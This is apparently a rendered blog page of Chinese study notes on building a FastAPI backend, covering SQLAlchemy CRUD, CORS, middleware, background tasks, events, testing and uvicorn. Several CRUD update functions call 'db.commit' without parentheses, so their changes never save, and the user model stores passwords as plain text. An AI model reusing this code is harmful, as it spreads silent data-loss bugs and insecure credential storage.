    但是在 ORM 模式下,由于 Pydantic 本身将尝试从属性访问它需要的数据(而不是假设 dict) ,你可以声明你想要返回的特定数据,它将能够去获取它,甚至是从 ORM。


    CRUD utils

    编辑 crud.py

    在这个文件中,我们将使用可重用的函数与数据库中的数据进行交互。

    CRUD 来自: Creat(创建)、Read(读取)、Update(更新) 和 Delete(删除)。

    '''
    +Author: 咸鱼型233
    +Date: 2022-04-25 16:35:15
    +LastEditors: 咸鱼型233
    +LastEditTime: 2022-04-25 20:29:15
    +FilePath: \\VbenBackend\\sql_app\\curd.py
    +Description: 
    +Copyright (c) 2022 by 咸鱼型233, All Rights Reserved.
    +'''
    +'''
    +-*- encoding: utf-8 -*-
    +@文件    :curd.py
    +@时间    :2022/04/18 21:07:48
    +@作者    :咸鱼型233
    +@说明    :
    +'''
    +from sqlalchemy.orm import Session
    +
    +from . import models, schemas
    +
    +# 通过 id 读取 Staff
    +def get_staff(db: Session, id: int):
    +    return db.query(models.Staff).filter(models.Staff.id == id).first()
    +
    +# 通过 staffNo 读取 Staff
    +def get_staff_by_staffNo(db: Session, staffNo: str):
    +    return db.query(models.Staff).filter(models.Staff.staffNo == staffNo).first()
    +
    +# 获取所有 Staff
    +def get_staffs(db: Session, skip: int = 0, limit: int = 100):
    +    return db.query(models.Staff).offset(skip).limit(limit).all()
    +
    +# 创建 Staff
    +def create_staff(db: Session, staff: schemas.StaffCreate):
    +    db_staff = models.Staff(**staff.dict())
    +    db.add(db_staff)
    +    db.commit()
    +    db.refresh(db_staff)
    +    return db_staff
    +
    +# 更新 staffNo
    +def update_staff_staffNo(db: Session, id: int, staffNo: str):
    +    db_staff = db.query(models.Staff).filter(models.Staff.id == id).first()
    +    db_staff.staffNo = staffNo
    +    db.commit()
    +    return db_staff
    +
    +# 更新 name
    +def update_staff_name(db: Session, id: int, name: str):
    +    db_staff = db.query(models.Staff).filter(models.Staff.id == id).first()
    +    db_staff.name = name
    +    db.commit()
    +    return db_staff
    +
    +# 更新 sex
    +def update_staff_sex(db:Session, id: int, sex:str):
    +    db_staff = db.query(models.Staff).filter(models.Staff.id == id).first()
    +    db_staff.sex = sex
    +    db.commit
    +    return db_staff
    +
    +# 更新 birthday
    +def update_staff_birthday(db:Session, id: int, birthday:str):
    +    db_staff = db.query(models.Staff).filter(models.Staff.id == id).first()
    +    db_staff.birthday = birthday
    +    db.commit
    +    return db_staff
    +
    +# 更新 phone
    +def update_staff_phone(db:Session, id: int, phone:str):
    +    db_staff = db.query(models.Staff).filter(models.Staff.id == id).first()
    +    db_staff.phone = phone
    +    db.commit
    +    return db_staff
    +
    +# 更新 education
    +def update_staff_education(db:Session, id: int, education:str):
    +    db_staff = db.query(models.Staff).filter(models.Staff.id == id).first()
    +    db_staff.education = education
    +    db.commit
    +    return db_staff
    +
    +# 更新 namePinyin
    +def update_staff_namePinyin(db:Session, id: int, namePinyin:str):
    +    db_staff = db.query(models.Staff).filter(models.Staff.id == id).first()
    +    db_staff.namePinyin = namePinyin
    +    db.commit
    +    return db_staff
    +
    +
    +# 删除 Staff
    +def delete_staff(db: Session, id: int):
    +    db_staff = db.query(models.Staff).filter(models.Staff.id == id).first()
    +    db.delete(db_staff)
    +    db.commit()
    +    return db_staff
    +
    +

    Main FastAPI app

    编辑 main.py


    创建数据库表

    用一种非常简单的方式创建数据库表

    models.Base.metadata.create_all(bind=engine)
    +

    创建 dependency

    现在使用我们在 sql_app/databases.py 文件中创建的 SessionLocal 类创建一个依赖项。

    我们需要每个请求都有一个独立的数据库会话/连接(SessionLocal) ,在所有请求中使用同一个会话,然后在请求完成后关闭它。

    然后为下一个请求创建一个新会话。

    为此,我们将创建一个带有 yield 的新 dependency,如前面关于 Dependencies 与 yield 的部分所解释的那样。

    我们的依赖项将创建一个新的 SQLAlchemy SessionLocal,它将在单个请求中使用,然后在请求完成后关闭它。

    # Dependency
    +def get_db():
    +    db = SessionLocal()
    +    try:
    +        yield db
    +    finally:
    +        db.close()
    +

    我们将 SessionLocal() 的创建和请求的处理放在一个 try 块中。
    然后我们在 finally 块关闭它。 这样我们就可以确保在请求之后数据库会话总是关闭的。即使在处理请求时出现异常。 但是您不能从退出代码(在 yield 之后)中引发另一个异常

    然后,当在路径操作函数中使用依赖项时,我们使用直接从 SQLAlchemy 导入的 Session 类型声明它。

    这样我们就可以在路径操作函数中获得更好的编辑器支持,因为编辑器会知道 db 参数的类型是 Session:


    Prisma

    `,34),tn={href:"https://github.com/tiangolo/fastapi/issues/4659#issuecomment-1143744431",target:"_blank",rel:"noopener noreferrer"},en={href:"https://prisma-client-py.readthedocs.io/en/stable/",target:"_blank",rel:"noopener noreferrer"},pn={href:"https://github.com/prisma/prisma",target:"_blank",rel:"noopener noreferrer"},on={href:"https://www.prisma.io/",target:"_blank",rel:"noopener noreferrer"},cn=e(`

    [TODO: 前端 TS 能用, 后端可以用 Prisma-python, 看起来比 SQLAlchemy 好用, 下个项目准备上 Prisma && Prisma-python]



    数据库操作(慕课网)

    配置 SQLAlchemy ORM

    from sqlalchemy import create_engine
    +from sqlalchemy.ext.declarative import declarative_base
    +from sqlalchemy.orm import sessionmaker
    +import os
    +
    +# sqlite 数据库 url
    +SQLALCHEMY_DATABASE_URL = "sqlite:///E:/GithubProject/Vben/VbenBackend/static/data/vben.db"
    +# SQLALCHEMY_DATABASE_URL = "postgresql://user:password@postgresserver/db"
    +
    +# 创建 SQLAlchemy 引擎
    +engine = create_engine(
    +    SQLALCHEMY_DATABASE_URL, 
    +    encoding='utf-8',
    +    # echo=True表示引擎将用repr()函数记录所有语句及其参数列表到日志
    +    echo=True,
    +    # 由于SQLAlchemy是多线程,
    +    # 指定check_same_thread=False来让建立的对象任意线程都可使用。
    +    # 这个参数只在用SQLite数据库时设置
    +    connect_args={"check_same_thread": False}
    +)
    +
    +# 在SQLAlchemy中,CRUD都是通过会话(session)进行的,
    +# 所以我们必须要先创建会话,每一个SessionLocal实例就是一个数据库session
    +# 创建SessionLocal 类
    +SessionLocal = sessionmaker(
    +    # commit()是指提交事务,将变更保存到数据库文件
    +    autocommit=False, 
    +    # flush()是指发送数据库语句到数据库,但数据库不一定执行写入磁盘;
    +    autoflush=False, 
    +    bind=engine
    +)
    +
    +# 创建一个 Base 类, 后面继承这个类来创建每个数据库的 ORM Model
    +Base = declarative_base()
    +
    +

    DataBase Models

    `,8),ln={href:"https://www.bilibili.com/video/BV1iN411X72b?p=35",target:"_blank",rel:"noopener noreferrer"},un=e(`
    '''
    +Author: 咸鱼型233
    +Date: 2022-04-28 16:38:14
    +LastEditors: 咸鱼型233
    +LastEditTime: 2022-04-30 23:54:14
    +FilePath: \\VbenBackend\\app\\model.py
    +Description: database model
    +Copyright (c) 2022 by 咸鱼型233, All Rights Reserved.
    +'''
    +from xml.etree.ElementTree import Comment
    +from sqlalchemy import (
    +    Boolean, 
    +    Column, 
    +    ForeignKey, 
    +    Integer, 
    +    String, 
    +    FLOAT,
    +    BigInteger,
    +    Date,
    +    DateTime,
    +    func, 
    +)
    +from sqlalchemy.orm import relationship
    +from .database import Base
    +
    +# 部门/科室类
    +class Department(Base):
    +    """部门类
    +    """
    +    __tablename__ = "department"    # 表名
    +
    +    did = Column(Integer, primary_key=True, nullable=False, comment = "部门id")
    +    dname = Column(String(30), nullable=False, comment="部门名称")
    +    
    +    # 关联 <- staff.did
    +    staffs = relationship("Staff", back_populates="reDid")
    +
    +    # 当数据创建或者更新时插入当前时间
    +    created_at = Column(DateTime, server_default=func.now(), comment="创建时间")
    +    updated_at = Column(DateTime, server_default=func.now(), 
    +                            onupdate=func.now(), comment="更新时间")
    +
    +    # # 排序相关(新版 SQLAlchemy 已弃用)
    +    # __mapper_args__ = {
    +    #     # 倒序的话可以使用   "order_by": did.desc()
    +    #     "order_by": did
    +    # }
    +
    +    # 显示类对象
    +    def __repr__(self):
    +        return f"<Department {self.did}_{self.dname}>"
    +
    +
    +# 员工类
    +class Staff(Base):
    +    """员工类
    +    """
    +    __tablename__ = "staff"   # 表名
    +
    +    sid = Column(Integer, primary_key=True, nullable=False, comment="员工id")
    +    sname = Column(String(30), nullable=False, comment="员工姓名")
    +    did = Column(Integer, ForeignKey("department.did"), comment="员工所属单位id")     # 外键
    +
    +    # 外键 -> department.did
    +    reDid = relationship("Department", back_populates="staffs")
    +
    +    # 当数据创建或者更新时插入当前时间
    +    created_at = Column(DateTime, server_default=func.now(), comment="创建时间")
    +    updated_at = Column(DateTime, server_default=func.now(), 
    +                            onupdate=func.now(), comment="更新时间")
    +
    +    # # 排序相关(新版 SQLAlchemy 已弃用)
    +    # __mapper_args__ = {
    +    #     # 倒序的话可以使用   "order_by": did.desc()
    +    #     "order_by": sid
    +    # }
    +
    +    # 显示类对象
    +    def __repr__(self):
    +        return f"<Staff {self.sid}_{self.sname}_{self.did}>"
    +
    +# 用户类
    +class User(Base):
    +    """用户类
    +    """
    +    __tablename__ = "user"
    +
    +    uid = Column(Integer, primary_key=True, nullable=False,  autoincrement=True, comment="用户id")
    +    account = Column(Integer, nullable=False, comment="账号")
    +    password = Column(String(30), nullable=False, comment="密码")
    +    uname = Column(String(30), comment="用户名")
    +    role = Column(Integer, nullable=False, comment="身份组")
    +
    `,1),rn={href:"https://www.imooc.com/qadetail/353354",target:"_blank",rel:"noopener noreferrer"},dn=n("strong",null,"mapper_args",-1),kn=e(`

    新版本的 sqlalchemy 丢弃了 mappter_args 当中设置的方法

    应当用 db.query().order_by() 直接在 Query 对象后面显示地调用 order_by 函数

    例如:

    db.query(models.City).order_by(models.City.province).offset().limit().all()
    +
    +db.query(models.Data).order_by(models.Data.confirmed)....
    +
    `,4),mn=e('

    大型工程的目录结构设计

    应用文件拆分


    中间件

    ',6),vn={href:"https://www.bilibili.com/video/BV1iN411X72b?p=38",target:"_blank",rel:"noopener noreferrer"},bn=e(`

    对于每一个 request 请求到来, 在到达应用(业务逻辑处理)之前会先经过一/多层中间件处理后到达应用(视图, 函数等) , 在返回前经过一/多层中间件处理, 返回结果给客户端

    可以使用中间件拦截所有的 request 请求或者 response 响应

    image-20220501005558644

    main app

    @app.middleware('http')
    +async def add_process_time_header(request: Request, call_next):
    +    """拦截所有 request 请求, 计算其在框架中的处理时间并把结果加载 response header 中
    +    :param request: request 请求
    +    :param call_next: 将接收request请求做为参数
    +    """
    +    start_time = time.time()
    +    response = await call_next(request)
    +    process_time = time.time() - start_time
    +    response.headers['X-Process-Time'] = str(process_time)  # 添加自定义的以“X-”开头的请求头
    +    return response
    +

    image-20220501010427259

    需要注意的是带yield的依赖的退出部分的代码 和 后台任务 会在中间件之后运行


    跨域资源共享

    `,9),hn={href:"https://fastapi.tiangolo.com/zh/tutorial/cors/",target:"_blank",rel:"noopener noreferrer"},gn={href:"https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS",target:"_blank",rel:"noopener noreferrer"},yn=e(`

    源是协议(httphttps)、域(myapp.comlocalhostlocalhost.tiangolo.com)以及端口(804438080)的组合。

    因此,这些都是不同的源:

    即使它们都在 localhost 中,但是它们使用不同的协议或者端口,所以它们都是不同的「源」。


    步骤

    假设你的浏览器中有一个前端运行在 https://localhost:3100,并且它的 JavaScript 正在尝试与运行在 http://localhost:8000 的后端通信

    然后,浏览器会向后端发送一个 HTTP OPTIONS 请求,如果后端发送适当的 headers 来授权来自这个不同源(https://localhost:3100)的通信,浏览器将允许前端的 JavaScript 向后端发送请求。

    为此,后端必须有一个「允许的源」列表。

    在这种情况下,它必须包含 https://localhost:3100,前端才能正常工作。


    通配符

    也可以使用 "*"(一个「通配符」)声明这个列表,表示全部都是允许的。

    但这仅允许某些类型的通信,不包括所有涉及凭据的内容:像 Cookies 以及那些使用 Bearer 令牌的授权 headers 等。

    因此,为了一切都能正常工作,最好显式地指定允许的源。


    使用 CORSMiddleWare

    你可以在 FastAPI 应用中使用 CORSMiddleware 来配置它。

    你也可以指定后端是否允许:

    from fastapi.middleware.cors import CORSMiddleware
    +
    +origins = [
    +    "http://localhost",
    +    "https://localhost",
    +    "http://localhost:3100",
    +    "https://localhost:3100",
    +]
    +
    +app = FastAPI()
    +
    +# 跨域资源共享配置
    +app.add_middleware(
    +    CORSMiddleware,
    +    allow_origins=origins,  # 跨域信任列表
    +    allow_credentials=True, # 允许使用整数
    +    allow_methods=["*"],    # 允许跨域的方法, *(通配符) 表示全部允许
    +    allow_headers=["*"],    # 允许的请求头, * 表示全部允许
    +)
    +

    默认情况下,这个 CORSMiddleware 实现所使用的默认参数较为保守,所以你需要显式地启用特定的源、方法或者 headers,以便浏览器能够在跨域上下文中使用它们。

    支持以下参数:

    中间件响应两种特定类型的 HTTP 请求……


    CORS 预检请求

    这是些带有 OriginAccess-Control-Request-Method 请求头的 OPTIONS 请求。

    在这种情况下,中间件将拦截传入的请求并进行响应,出于提供信息的目的返回一个使用了适当的 CORS headers 的 200400 响应。


    简单请求

    任何带有 Origin 请求头的请求。在这种情况下,中间件将像平常一样传递请求,但是在响应中包含适当的 CORS headers。


    后台任务

    `,37),qn={href:"https://www.bilibili.com/video/BV1iN411X72b?p=41",target:"_blank",rel:"noopener noreferrer"},fn={href:"https://fastapi.tiangolo.com/zh/tutorial/background-tasks/",target:"_blank",rel:"noopener noreferrer"},_n=e(`

    最典型的使用是: 用户注册之后发邮件

    用户能够在前端立刻得到返回, 但是接口中实行的是比较耗时的任务

    引入 fastapi.BackgroundTask 后通过在异步函数中调用其中的 add_task 来添加后台任务

    ########## Background Tasks 后台任务 ##########
    +import os
    +from fastapi import APIRouter, BackgroundTasks, Depends
    +
    +file_path = os.path.abspath(os.path.join(os.path.dirname(__file__), './README.md'))
    +
    +def bg_task(framework: str):
    +    """已续写的形式用 utf-8 编码写入README.md"""
    +    with open(file_path, mode="a", encoding="utf-8") as f:
    +        f.write(f"\\n### {framework} 框架精讲")
    +
    +
    +@app08.post("/background_tasks")
    +async def run_bg_task(framework: str, background_tasks: BackgroundTasks):
    +    """
    +    :param framework: 被调用的后台任务函数的参数
    +    :param background_tasks: FastAPI.BackgroundTasks
    +    :return:
    +    """
    +    background_tasks.add_task(bg_task, framework)
    +    return {"message": "任务已在后台运行"}
    +
    +
    +def continue_write_readme(background_tasks: BackgroundTasks, q: Optional[str] = None):
    +    if q:
    +        background_tasks.add_task(bg_task, 
    +        "\\n> 整体的介绍 FastAPI, 快速上手开发, 结合 API 交互文档逐个讲解核心模块的使用\\n")
    +    return q
    +
    +
    +@app08.post("/dependency/background_tasks")
    +async def dependency_run_bg_task(q: str = Depends(continue_write_readme)):
    +    """用依赖注入的方式导入后台任务
    +    """
    +    if q:
    +        return {"message": "README.md更新成功"}
    +
    +

    与依赖注入一起使用

    `,6),En={href:"https://fastapi.tiangolo.com/zh/tutorial/background-tasks/#dependency-injection",target:"_blank",rel:"noopener noreferrer"},wn=n("hr",null,null,-1),An=n("p",null,[s("使用 "),n("code",null,"BackgroundTasks"),s(" 还可以与依赖注入系统一起工作, 你可以在多个层次上声明一个 "),n("code",null,"BackgroundTasks"),s(" 类型的参数(可以在 "),n("code",null,"path operation"),s(" 函数中, 在 "),n("code",null,"dependency(dependable)"),s(" 中, 亦可以在 "),n("code",null,"sub-dependency"),s(" 等处声明)")],-1),Bn=n("div",{class:"language-python line-numbers-mode","data-ext":"py"},[n("pre",{class:"language-python"},[n("code",null,[n("span",{class:"token comment"},"# Python 3.10 and above"),s(` +`),n("span",{class:"token keyword"},"from"),s(" fastapi "),n("span",{class:"token keyword"},"import"),s(" BackgroundTasks"),n("span",{class:"token punctuation"},","),s(" Depends"),n("span",{class:"token punctuation"},","),s(` FastAPI + +app `),n("span",{class:"token operator"},"="),s(" FastAPI"),n("span",{class:"token punctuation"},"("),n("span",{class:"token punctuation"},")"),s(` + + +`),n("span",{class:"token keyword"},"def"),s(),n("span",{class:"token function"},"write_log"),n("span",{class:"token punctuation"},"("),s("message"),n("span",{class:"token punctuation"},":"),s(),n("span",{class:"token builtin"},"str"),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(` + `),n("span",{class:"token keyword"},"with"),s(),n("span",{class:"token builtin"},"open"),n("span",{class:"token punctuation"},"("),n("span",{class:"token string"},'"log.txt"'),n("span",{class:"token punctuation"},","),s(" mode"),n("span",{class:"token operator"},"="),n("span",{class:"token string"},'"a"'),n("span",{class:"token punctuation"},")"),s(),n("span",{class:"token keyword"},"as"),s(" log"),n("span",{class:"token punctuation"},":"),s(` + log`),n("span",{class:"token punctuation"},"."),s("write"),n("span",{class:"token punctuation"},"("),s("message"),n("span",{class:"token punctuation"},")"),s(` + + +`),n("span",{class:"token keyword"},"def"),s(),n("span",{class:"token function"},"get_query"),n("span",{class:"token punctuation"},"("),s("background_tasks"),n("span",{class:"token punctuation"},":"),s(" BackgroundTasks"),n("span",{class:"token punctuation"},","),s(" q"),n("span",{class:"token punctuation"},":"),s(),n("span",{class:"token builtin"},"str"),s(),n("span",{class:"token operator"},"|"),s(),n("span",{class:"token boolean"},"None"),s(),n("span",{class:"token operator"},"="),s(),n("span",{class:"token boolean"},"None"),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(` + `),n("span",{class:"token keyword"},"if"),s(" q"),n("span",{class:"token punctuation"},":"),s(` + message `),n("span",{class:"token operator"},"="),s(),n("span",{class:"token string-interpolation"},[n("span",{class:"token string"},'f"found query: '),n("span",{class:"token interpolation"},[n("span",{class:"token punctuation"},"{"),s("q"),n("span",{class:"token punctuation"},"}")]),n("span",{class:"token string"},'\\n"')]),s(` + background_tasks`),n("span",{class:"token punctuation"},"."),s("add_task"),n("span",{class:"token punctuation"},"("),s("write_log"),n("span",{class:"token punctuation"},","),s(" message"),n("span",{class:"token punctuation"},")"),s(` + `),n("span",{class:"token keyword"},"return"),s(` q + + +`),n("span",{class:"token decorator annotation punctuation"},[s("@app"),n("span",{class:"token punctuation"},"."),s("post")]),n("span",{class:"token punctuation"},"("),n("span",{class:"token string"},'"/send-notification/{email}"'),n("span",{class:"token punctuation"},")"),s(` +`),n("span",{class:"token keyword"},"async"),s(),n("span",{class:"token keyword"},"def"),s(),n("span",{class:"token function"},"send_notification"),n("span",{class:"token punctuation"},"("),s(` + email`),n("span",{class:"token punctuation"},":"),s(),n("span",{class:"token builtin"},"str"),n("span",{class:"token punctuation"},","),s(" background_tasks"),n("span",{class:"token punctuation"},":"),s(" BackgroundTasks"),n("span",{class:"token punctuation"},","),s(` + q`),n("span",{class:"token punctuation"},":"),s(),n("span",{class:"token builtin"},"str"),s(),n("span",{class:"token operator"},"="),s(" Depends"),n("span",{class:"token punctuation"},"("),s("get_query"),n("span",{class:"token punctuation"},")"),s(` +`),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(` + message `),n("span",{class:"token operator"},"="),s(),n("span",{class:"token string-interpolation"},[n("span",{class:"token string"},'f"message to '),n("span",{class:"token interpolation"},[n("span",{class:"token punctuation"},"{"),s("email"),n("span",{class:"token punctuation"},"}")]),n("span",{class:"token string"},'\\n"')]),s(` + background_tasks`),n("span",{class:"token punctuation"},"."),s("add_task"),n("span",{class:"token punctuation"},"("),s("write_log"),n("span",{class:"token punctuation"},","),s(" message"),n("span",{class:"token punctuation"},")"),s(` + `),n("span",{class:"token keyword"},"return"),s(),n("span",{class:"token punctuation"},"{"),n("span",{class:"token string"},'"message"'),n("span",{class:"token punctuation"},":"),s(),n("span",{class:"token string"},'"Message sent"'),n("span",{class:"token punctuation"},"}"),s(` + +`)])]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"})])],-1),xn=e('

    image-20221031174537122

    在这个示例中 query 参数传入 emailq

    接口在处理完 email 生成 message 并返回给用户后会将 message 传给后台任务 weite_log 来记录日志

    如果 query 参数中有 q, 那么它会在 get_query 函数中处理然后创给后台任务 write_log 来记录日志


    高级用户指南

    启动和停止事件

    ',7),Pn={href:"https://fastapi.tiangolo.com/zh/advanced/events/?h=log#events-startup-shutdown",target:"_blank",rel:"noopener noreferrer"},Sn=n("hr",null,null,-1),Fn=n("p",null,[s("你可以定义 "),n("code",null,"event handlers(functions)"),s(" 让其在应用程序启动前,或在应用程序关闭时执行。")],-1),Tn=n("p",null,"这些函数可以是同步的也可以是异步的",-1),Dn=n("code",null,"main application",-1),In={href:"https://fastapi.tiangolo.com/zh/advanced/sub-applications/",target:"_blank",rel:"noopener noreferrer"},Cn=e(`

    startup 事件

    如果你需要在应用开始前执行一个函数, 那么可以使用 startup 事件来定义这样一个函数

    from fastapi import FastAPI
    +
    +app = FastAPI()
    +
    +items = {}
    +
    +
    +@app.on_event("startup")
    +async def startup_event():
    +    items["foo"] = {"name": "Fighters"}
    +    items["bar"] = {"name": "Tenders"}
    +
    +
    +@app.get("/items/{item_id}")
    +async def read_items(item_id: str):
    +    return items[item_id]
    +
    +

    在此事例中, 在应用启动前将会通过 startup_event 函数初始化 items 字典


    我们可以在应用启动前记录 uvicorn 产生的日志

    import logging
    +
    +@app.on_event("startup")
    +async def startup_event():
    +    logger = logging.getLogger("uvicorn.access")
    +    handler = logging.handlers.RotatingFileHandler("api.log",mode="a",maxBytes = 100*1024, backupCount = 3)
    +    handler.setFormatter(logging.Formatter("%(asctime)s - %(levelname)s - %(message)s"))
    +    logger.addHandler(handler)
    +

    这样记录的话, uvicorn 的输出就会记录在 api.log


    shutdown 事件

    startup 事件类似, 你也可以通过 shutdown 事件定义一个函数以在应用关闭后执行

    from fastapi import FastAPI
    +
    +app = FastAPI()
    +
    +
    +@app.on_event("shutdown")
    +def shutdown_event():
    +    with open("log.txt", mode="a") as log:
    +        log.write("Application shutdown")
    +
    +
    +@app.get("/items/")
    +async def read_items():
    +    return [{"name": "Foo"}]
    +
    +

    在此示例中, 在应用关闭后将会将 Application shutdown 写入到 log.txt 的末尾

    需要注意的是, 在此事例中我们用到了 open 函数, 其不可以用于异步, 因此这里使用了 def 而非 async def



    测试用例

    `,18),Ln={href:"https://fastapi.tiangolo.com/zh/tutorial/testing/",target:"_blank",rel:"noopener noreferrer"},On={href:"https://www.bilibili.com/video/BV1iN411X72b?p=43",target:"_blank",rel:"noopener noreferrer"},Un=e(`

    需要使用 fastapi.testclient.TestClient 以及 pytest

    #!/usr/bin/python3
    +# -*- coding:utf-8 -*-
    +# __author__ = '__Jack__'
    +
    +from fastapi.testclient import TestClient
    +
    +from .run import app
    +
    +########## Testing 测试用例 ##########
    +
    +client = TestClient(app)  # 先pip install pytest
    +
    +
    +def test_run_bg_task():
    +    """函数名用“test_”开头是 pytest 的规范。注意不是 async def
    +    """
    +    response = client.post(url="/chapter08/background_tasks?framework=FastAPI")
    +    assert response.status_code == 200
    +    assert response.json() == {"message": "任务已在后台运行"}
    +
    +
    +def test_dependency_run_bg_task():
    +    response = client.post(url="/chapter08/dependency/background_tasks")
    +    assert response.status_code == 200
    +    assert response.json() is None
    +
    +
    +def test_dependency_run_bg_task_q():
    +    response = client.post(url="/chapter08/dependency/background_tasks?q=1")
    +    assert response.status_code == 200
    +    assert response.json() == {"message": "README.md更新成功"}
    +
    +

    测试使用 pytest 进行测试

    在命令行中 cd 到测试文件所在目录然后 pytest

    image-20220501020126599


    运行

    uvicorn app.mian:app --reload --host 'xxx' --port xxx
    +
    `,8),Rn=n("p",null,[n("code",null,"--relaod"),s(" 可以更新自动重载")],-1),Hn={href:"https://www.zditect.com/article/34997596.html",target:"_blank",rel:"noopener noreferrer"},Nn={href:"https://blog.csdn.net/weixin_46248273/article/details/119930170",target:"_blank",rel:"noopener noreferrer"},Qn={href:"https://www.uvicorn.org/settings/#development",target:"_blank",rel:"noopener noreferrer"},jn=e(`

    需要注意的是 --reload 会跟踪当前工作目录, 当前工作目录有文件更新则会自动重载

    请使用 --reload-dir 目录 来设置重新加载目录

    `,4),Mn=n("p",null,[n("code",null,"--port"),s(" 可以指定端口运行")],-1),Wn=n("p",null,[n("code",null,"--host"),s(" 可以用于指定 host, 当在服务器上跑 uvicorn 时可以指定 "),n("code",null,"–host ‘0.0.0.0’ "),s(" 否则会自动挂载在本地上")],-1),zn=e(`

    放在主程序中运行

    if __name__ == '__main__':
    +    uvicorn_run('__main__:app', host=uvicorn_host, port=uvicorn_port, reload=uvicorn_reload)
    +

    上 HTTPS

    uvicorn_run('__main__:app', host=uvicorn_host, port=uvicorn_port, reload=False, ssl_keyfile="./static/ssl/example.key", ssl_certfile="./static/ssl/example.crt")
    +
    `,5),Gn=n("p",null,[n("code",null,"ssl_ketfile"),s(" 与 "),n("code",null,"ssl_certfile"),s(" 分别为证书与私钥")],-1),Jn={href:"https://ayusummer.github.io/DailyNotes/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E9%80%9A%E8%AF%86.html#%E4%BD%BF%E7%94%A8-openssl-%E5%88%9B%E5%BB%BA%E8%87%AA%E7%AD%BE%E5%90%8D-ssl-%E8%AF%81%E4%B9%A6",target:"_blank",rel:"noopener noreferrer"},Kn=n("hr",null,null,-1),Vn=n("h2",{id:"pydantic",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#pydantic","aria-hidden":"true"},"#"),s(" Pydantic")],-1),Yn={href:"https://pydantic-docs.helpmanual.io/",target:"_blank",rel:"noopener noreferrer"},Xn={href:"https://blog.csdn.net/codename_cys/article/details/107675748#pydantic%E5%BA%93%E7%AE%80%E4%BB%8B",target:"_blank",rel:"noopener noreferrer"},Zn=n("h3",{id:"数据类型",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#数据类型","aria-hidden":"true"},"#"),s(" 数据类型")],-1),$n=n("h4",{id:"多种数据类型-unions",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#多种数据类型-unions","aria-hidden":"true"},"#"),s(" 多种数据类型(Unions)")],-1),ns={href:"https://pydantic-docs.helpmanual.io/usage/types/#unions",target:"_blank",rel:"noopener noreferrer"},ss={href:"https://blog.csdn.net/codename_cys/article/details/107675748#2-%E5%8F%AF%E9%80%89%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8B",target:"_blank",rel:"noopener noreferrer"},as=n("p",null,[n("code",null,"Union"),s(" type 允许 Model属性支持不同的类型,例如:")],-1),ts=n("div",{class:"language-python line-numbers-mode","data-ext":"py"},[n("pre",{class:"language-python"},[n("code",null,[n("span",{class:"token comment"},"# Python 3.7-3.9"),s(` +`),n("span",{class:"token keyword"},"from"),s(" uuid "),n("span",{class:"token keyword"},"import"),s(` UUID +`),n("span",{class:"token keyword"},"from"),s(" typing "),n("span",{class:"token keyword"},"import"),s(` Union +`),n("span",{class:"token keyword"},"from"),s(" pydantic "),n("span",{class:"token keyword"},"import"),s(` BaseModel + +`),n("span",{class:"token keyword"},"class"),s(),n("span",{class:"token class-name"},"User"),n("span",{class:"token punctuation"},"("),s("BaseModel"),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(` + `),n("span",{class:"token builtin"},"id"),n("span",{class:"token punctuation"},":"),s(" Union"),n("span",{class:"token punctuation"},"["),n("span",{class:"token builtin"},"int"),n("span",{class:"token punctuation"},","),s(),n("span",{class:"token builtin"},"str"),n("span",{class:"token punctuation"},","),s(" UUID"),n("span",{class:"token punctuation"},"]"),s(` + name`),n("span",{class:"token punctuation"},":"),s(),n("span",{class:"token builtin"},"str"),s(` +`)])]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"})])],-1),es=e("

    需要注意的是, 使用 Union 类型时, Pydantic 会尝试匹配其中的各种类型, 并且会使用其匹配到的第一个合适的类型;因此在以上示例中, 由于 UUID 类型可以被解析为 int 类型, 因此 pydantic 会将其认定为 int 类型并不再向后排查类型; 因此, 以上示例应当改为:

    ",1),ps=n("div",{class:"language-python line-numbers-mode","data-ext":"py"},[n("pre",{class:"language-python"},[n("code",null,[n("span",{class:"token comment"},"# Python 3.7-3.9"),s(` +`),n("span",{class:"token keyword"},"from"),s(" uuid "),n("span",{class:"token keyword"},"import"),s(` UUID +`),n("span",{class:"token keyword"},"from"),s(" typing "),n("span",{class:"token keyword"},"import"),s(` Union +`),n("span",{class:"token keyword"},"from"),s(" pydantic "),n("span",{class:"token keyword"},"import"),s(` BaseModel + +`),n("span",{class:"token keyword"},"class"),s(),n("span",{class:"token class-name"},"User"),n("span",{class:"token punctuation"},"("),s("BaseModel"),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(` + `),n("span",{class:"token builtin"},"id"),n("span",{class:"token punctuation"},":"),s(" Union"),n("span",{class:"token punctuation"},"["),s("UUID"),n("span",{class:"token punctuation"},","),n("span",{class:"token builtin"},"int"),n("span",{class:"token punctuation"},","),s(),n("span",{class:"token builtin"},"str"),n("span",{class:"token punctuation"},"]"),s(` + name`),n("span",{class:"token punctuation"},":"),s(),n("span",{class:"token builtin"},"str"),s(` 